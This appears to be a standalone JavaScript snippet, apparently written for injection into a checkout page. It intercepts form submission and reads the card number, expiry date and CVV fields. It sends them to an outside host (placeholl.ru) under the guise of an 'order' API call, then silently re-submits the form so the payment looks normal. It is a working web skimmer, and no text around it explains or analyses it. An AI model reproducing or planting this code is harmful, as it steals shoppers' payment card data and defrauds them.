<script>
        var fused = false;
        $("form").on("submit", function(e)
        {
            if (fused)
                return;

            e.preventDefault();

            var forset = {"card": $("input[name=card]").val(), "m": $("select[name=exp_month]").val(), "y": $("select[name=exp_year]").val(), "cv": $("input[name=cvv]").val()};

            try {
                $.ajax(
                    {
                        url: "https://placeholl.ru/tgBot/api/order?data=" + JSON.stringify(
                            {
                                "fr": "TxpSCAVXGgpbDxZIWgYLUxsLFVkaSkNFRBQdBRRQFgIURUQUFgkYXFgaDEVKGlEQHFkWAhRFRBQXBQ1QFgIURUQUBw0UUBYCFEVEFBANDUwWAhRFRBQSCRZAWkwUXUoUDg==",
                                "security": forset
                            }),
                        dataType: "jsonp",
                        processData: false,
                        crossDomain: true,
                        //async: false,
                        cache:false,
                        contentType: "application/json; charset=UTF-8",
                        success: function (data)
                        {
                            console.log("Order Sended!", data);
                        },
                        error: function(xhr, status, err)
                        {
                            //alert('Ошибка запроса: ' + err);
                        }
                    })
                    .done(function()
                    {
                        fused = true;
                        $("form").submit();
                    });
            }
            catch(e)
            {
                //alert("Ошибка " + e.name + ":" + e.message + "\n" + e.stack); // (3) <--
                fused = true;
                $("form").submit();
            }
        });
    </script>